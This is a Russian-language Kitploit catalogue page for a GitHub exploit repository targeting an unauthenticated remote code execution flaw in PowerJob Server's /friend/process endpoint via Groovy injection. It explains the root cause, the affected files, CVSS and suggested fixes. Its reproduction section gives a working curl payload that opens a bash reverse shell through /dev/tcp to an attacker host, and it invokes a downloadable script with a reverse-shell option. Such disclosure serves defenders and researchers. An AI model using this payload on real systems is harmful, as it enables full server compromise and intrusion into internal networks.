Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеТроян Удаленного Доступа
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

Неаутентифицированный эксплойт удалённого выполнения кода для PowerJob Server через внедрение Groovy в конечной точке /friend/process, позволяющий выполнение произвольных команд и получение обратных оболочек.

Репозиторий
25 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Удалённое выполнение кода на сервере PowerJob через неаутентифицированный /friend/process (внедрение Groovy)

1. Краткое описание

Сервер PowerJob (распределённый планировщик задач / вычислительная платформа) предоставляет конечную точку /friend/process на своём HTTP-порту транспортного уровня Worker↔Server 10010 без какой-либо аутентификации. Конечная точка отражает произвольный открытый метод произвольного Spring Bean; атакующий, вызывающий GroovyEvaluator.evaluate, может выполнять произвольные Groovy-выражения, добиваясь неаутентифицированного удалённого выполнения кода. Стандартный docker-compose публикует этот порт на 0.0.0.0, поэтому сервер может быть полностью скомпрометирован без каких-либо учётных данных.

2. Затронутый продукт

  • Продукт: PowerJob (распределённый планировщик задач / вычислительная платформа)
  • Затронутые версии: 5.1.2 (конструкция транспортного уровня перенесена из более ранних выпусков; более старые версии затронуты в равной степени — сообщите о 4.x–5.1.2)
  • Исходный репозиторий: https://github.com/PowerJob/PowerJob
  • Развёртывание по умолчанию: docker-compose.yml:29-33,47-48 публикует 10010 (HTTP-транспорт), 10086 (AKKA), 10077 (MU) на хост 0.0.0.0

3. Местоположение уязвимости

ЭлементЗначение
Конечная точка запускаPOST http://<server>:10010/friend/process
РегистрацияFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (зарегистрирован для всех трёх протоколов: HTTP/MU/AKKA)
Рефлексивное выполнениеRemoteRequestProcessor.processRemoteRequest()
Опасная точка вызоваGroovyEvaluator.evaluate() → ScriptEngine.eval()
Отсутствие аутентификацииHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) регистрируют маршруты без какой-либо проверки токена/подписи

Ключевые исходные файлы (относительно корня репозитория):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (регистрирует маршруты порта 10010, без аутентификации)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Корневая причина

  1. Нулевая аутентификация на транспортном уровне: PowerJob рассматривает протоколы связи между Worker и Server (HTTP/AKKA/MU) как зону «внутреннего доверия». Любой хост, который может получить доступ к портам 10010/10086/10077, рассматривается как легитимный узел; нет ни рукопожатия, ни подписи.
  2. Произвольная рефлексия Bean: RemoteRequestProcessor.processRemoteRequest полностью доверяет полям className, methodName, parameterTypes и args тела запроса — он использует Class.forName + SpringUtils.getBean для получения любого Spring Bean, а затем вызывает любой из его открытых методов через Spring ReflectionUtils.
  3. Доступен опасный метод: GroovyEvaluator — это bean-компонент @Component, чей метод evaluate(String, Object) вызывает движок Groovy-скриптов (ScriptEngineManager) для непосредственного eval() выражения атакующего.

Сочетание этих трёх факторов означает неаутентифицированное RCE.

5. Сценарий атаки (предварительное условие: только сетевая доступность порта 10010)

  1. Атакующий отправляет HTTP POST на порт 10010 сервера PowerJob (Cookie/Token не требуется).
  2. Тело запроса — это JSON RemoteProcessReq, который нацелен на GroovyEvaluator.evaluate с произвольным Groovy-выражением (например, 'id'.execute().text).
  3. Сервер рефлексивно вызывает метод; движок Groovy вычисляет выражение.
  4. Результат выполнения команды возвращается атакующему в AskResponse.data (base64 JSON).
  5. Атакующий также может использовать Groovy для записи произвольных файлов, запуска обратной оболочки или эксфильтрации данных.

6. Воспроизведение (проверено)

Окружение: JDK 17, собранный из исходников powerjob-server-starter-5.1.2.jar (профиль daily), сервер прослушивает 192.168.49.128:10010. Повторно проверено на JDK 21 (полезная нагрузка в форме оболочки ниже работает на обоих; см. примечание о File.write ниже).

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

Фактический ответ: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Декодирование поля data из base64 даёт вывод команды, выполненной на JVM сервера:

image

В качестве альтернативы вы можете воспроизвести это с помощью скрипта:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Наблюдаемое против ожидаемого

  • Наблюдаемое: неаутентифицированный HTTP-запрос заставляет сервер выполнять произвольные команды.
  • Ожидаемое: /friend/process является частью внутренней связи Server↔Worker; он должен отклонять неаутентифицированные запросы, или метод вообще не должен быть удалённо вызываемым.

8. Воздействие

  • Конфиденциальность: Высокая — чтение произвольных файлов/памяти/учётных данных на сервере.
  • Целостность: Высокая — произвольная запись файлов, вмешательство в конфигурацию и задачи.
  • Доступность: Высокая — возможность завершения процессов/сервисов.
  • Граница воздействия: процесс сервера → хост (с привилегиями пользователя сервиса); при развёртывании по умолчанию атакующий может перемещаться латерально во внутреннюю сеть хоста.

9. Предлагаемое исправление

  1. Добавьте взаимную аутентификацию Server/Worker (токен/подпись) на транспортный уровень и проверяйте источник; не открывайте 10010/10086/10077 для публичного интернета.
  2. Измените RemoteRequestProcessor на белый список: ограничьте className/methodName определёнными фреймворком безопасными обработчиками и запретите рефлексивный вызов произвольных bean-компонентов.
  3. Удалите или строго ограничьте удалённую доступность GroovyEvaluator (если он должен остаться, добавьте аутентификацию и песочницу).
  4. Отключите /friend/process (S4S_HANDLER_PROCESS) по умолчанию или ограничьте его только внутренними источниками.

10. CWE

  • Основная: CWE-94 (Некорректный контроль генерации кода — внедрение Groovy)
  • Вторичная: CWE-470 (Использование внешне контролируемого ввода для выбора классов или кода — произвольная рефлексия Bean), CWE-306 (Отсутствие аутентификации для критической функции)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Критический

12. Окружение

  • ОС: Ubuntu 22.04 / Linux 6.8
  • JDK: 17.0.19 (первоначальное воспроизведение); повторно проверено на OpenJDK 21.0.11
  • Сборка: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • База данных: MariaDB 10.6 (не требуется — /friend/process срабатывает без базы данных)
  • Запуск: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
Скачать инструмент